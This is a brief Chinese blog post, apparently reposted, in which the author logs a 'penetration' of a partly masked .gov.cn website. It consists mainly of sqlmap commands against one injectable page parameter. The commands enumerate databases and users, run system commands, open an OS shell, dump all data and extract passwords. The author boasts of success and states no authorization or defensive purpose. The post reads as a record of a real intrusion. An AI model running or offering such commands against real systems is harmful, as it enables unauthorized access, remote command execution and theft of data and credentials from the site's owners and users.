今天的一次渗透

这次渗透没有什么亮点,主要就是SQLMAP。这玩意很给力。直接给干掉了。。。

 2005  sqlmap -u "http://xxx.gov.cn/xxxx/dek.jsp?id=17" --dbs --threads 10
 2006  sqlmap -u "http://xxx.gov.cn/xxxx/dek.jsp?id=17" --users --threads 10
 2007  sqlmap -u "http://xxx.gov.cn/xxxx/dek.jsp?id=17" --os-cmd="net user" --threads 10
 2008  sqlmap -u "http://xxx.gov.cn/xxxx/dek.jsp?id=17" --os-cmd=dir --threads 10
 2009  sqlmap -u "http://xxx.gov.cn/xxxx/dek.jsp?id=17" --os-shell --threads 10
 2010  sqlmap -u "http://xxx.gov.cn/xxxx/dek.jsp?id=17" --dump-all --threads 10
 2011  sqlmap -u "http://xxx.gov.cn/xxxx/dek.jsp?id=17" --passwords --threads 10

mark 一下..

转载于:https://my.oschina.net/xiaocon/blog/199418

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值